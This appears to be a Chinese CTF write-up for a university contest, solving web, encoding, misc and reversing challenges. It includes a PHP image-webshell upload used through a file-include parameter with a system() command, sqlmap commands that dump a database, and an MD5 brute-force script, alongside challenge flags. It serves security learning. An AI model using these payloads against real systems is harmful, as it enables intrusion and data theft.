XJNU CTF writeup v1.0
前几天学弟说学校举办了ctf,由于有一些了解,也比较有自己的看法,因此就打算来做一做他们ctf 的题,这是做出来的一部分ctf的题,希望想要入门的朋友能够借鉴参考,了解思路和ctf中的套路。
WEB 100
打开连接之后是可以上传文件
尝试几次后发现,只能上传图片文件,而且有一个非常重要的地方就是,看下他的网址是
没有错,这是include,那么就是说可以上传图片木马了。
准备好图片,准备好木马new1.php,然后创建一个文件a.bat,里面的内容就是cmd,这样我们可以在本文夹内打开cmd窗口。
接下来双击a.bat,cmd下输入copy misc100.jpg/b+New1.php new.jpg
然后上传带有木马的new.jpg文件
这个时候就可以构造payload了
几次尝试之后可以得到
http://ctf.xjnu.edu.cn:666/index.php?file=upload/new.jpg&pass=system(%22cat%20../../../flag%22);
Web 20
进去之后是你不属于这里。看来ip不对,这个时候需要伪造ip,
用burn suit截获,添加
出现
把login的内容改掉
又出现
然后在qq浏览器,F12选择移动设备模式,把设备换成iPhone X
刷新,把User-Agent:的内容也改掉
返回了一个空白页,查看源代码,看到一行注释
于是到burn suit里面看返回的包,可以找到flag
Web10
进去之后是
很明显是sqlmap注入,测试一下
果然,于是SQlmap走起
查数据库版本
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --batch
查出是mysql数据库
查数据库
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" --current-db --batch
当前数据库是web1
查数据表
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 --tables --batch
可以看到flag表
查看flag表的列名
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag --columns --batch
查询列的内容,得到flag。
py -2 sqlmap.py -u "http://ctf.xjnu.edu.cn:9900/web10/?id=1" -D web1 -T flag -C "flag" --dump --batch
Base10
打开之后
查看源代码
所以遮住的数字是。。。图片旋转一下,怎么样?
欧克。数字是87
取前五位
构造flag
flag{Math_is_Here_c7e12!}
Base20
这个,,,百度上搜一下题目先
嗯。。。。
嗯。。。。
所以
flag{Th0_Jack_Birth_Is_July_16}
Base30
编程题。。。这个数值比较大的话,适合python
sum=0
for num in range(0,1000000000):
if num%3==0:
sum+=num
else:
if num%5==0:
sum+=num
print(sum)
233333333166666668
base 40
666c61677b4a7573745f743373745f683476335f66346e5f6861686168615f36363636217d
嗯。。。http://www.bejson.com/convert/ox2str/
flag{Just_t3st_h4v3_f4n_hahaha_6666!}
Base 50
题目:小明常用密码是hash 是5bc76f3f319865431dcab801bbce47a1 现在 他只知道明文密码的前四位是xjnu
中间是66****88 后三位是ctf 请帮他算出 明文密码是啥
flag{明文}
那还是直接跑python脚本吧
#coding=utf8
from hashlib import md5
from hashlib import sha1
from hashlib import sha224
from hashlib import sha384
from hashlib import sha512
import hashlib
#__all__ = ('md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512', 'new', 'algorithms_guaranteed', 'algorithms_available', 'pbkdf2_hmac')
#Python计算字符串的hash值
def hashForString(method,srcbyte):
#将字符串和汉字转化成byte类型
srcbyte = srcbyte.encode(encoding='utf-8')
#new(name, data=b'')
#testnew = hashlib.new(method,data=srcbyte).hexdigest()
#print(testnew)
if method == 'md5':
m = md5()
m.update(srcbyte)
srcbyte = m.hexdigest()
elif method == 'sha1':
s = sha1()
s.update(srcbyte)
srcbyte = s.hexdigest()
elif method == 'sha224':
s = sha224()
s.update(srcbyte)
srcbyte = s.hexdigest()
elif method == 'sha384':
s = sha384()
s.update(srcbyte)
srcbyte = s.hexdigest()
elif method == 'sha512':
s = sha512()
s.update(srcbyte)
srcbyte = s.hexdigest()
return srcbyte
CSet='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&*()_-+=/*<>:;\'"[]{}|'
for num1 in CSet:
for num2 in CSet:
for num3 in CSet:
for num4 in CSet:
str1="xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf"
#print(str1)
if(hashForString("md5",str1)=="5bc76f3f319865431dcab801bbce47a1"):
print("xjnu66"+str(num1)+str(num2)+str(num3)+str(num4)+"88ctf")
print(num1)
print("完")
MISC 10
签到题,关注以后。。。发个私信
Misc 15
打开之后是
然后用notepad++打开搜一下flag,嗯。
Misc 20
Binwalk先跑一下
有两张图片。那就把5B74之前的内容用winhex删掉。也可以用foremost
但是我没有那个东西。
Misc30
老样子,用notepad++打开,
乱码,但是如果换一下编码的话,
Hi你来到了这里说明你很想知道答案,但是我这里只有中文,没有你想要的答案,参考马克思主义基本原理概论这本书的第三十五页第二个字到第五个字的拼音组成就是你想要的答案,骚年加油!
。。。卒
补充:最后这四个字是:去伪存真.在2018版的马克思主义原理概论这本书里才有.
Misc40
是一个word文档,里面是一些内容。
全选,加个背景色
然而并没有什么用。
但是。不要慌。
万能的notepad++
Misc 80
是一个二维码
扫出来没有什么有用的东西。
先用notepad++打开看一下把
拉到最后是一串数字。数字最大是7,应该是8进制,
上python脚本
#coding=utf-8
import chardet
a=b"\146\154\141\147\173\110\141\166\145\137\171\060\125\137\120\171\137\163\143\162\151\160\164\137\117\164\143\137\124\157\137\124\145\156\137\101\163\143\151\151\041\175"
#a = b"\345\260\274\345\217\244\346\213\211\346\226\257\350\265\265\345\233\233"
#判断当前字符串的格式(编码类型)
fencoding = chardet.detect(a)
print(fencoding)
#编码类型为打印出来的fencoding编码类型
a = a.decode('utf-8')
print(a)
flag{Have_y0U_Py_script_Otc_To_Ten_Ascii!}
Re50
是一个入门级别的re,还是很不错的。
放到IDA里面,IDA还是强大!
查了一下汇编语言,指针的位置,放值
看来,后面的值就是flag
于是16进制解码
666c61677b52655F31735F53305F43304F4C7D
flag{Re_1s_S0_C0OL}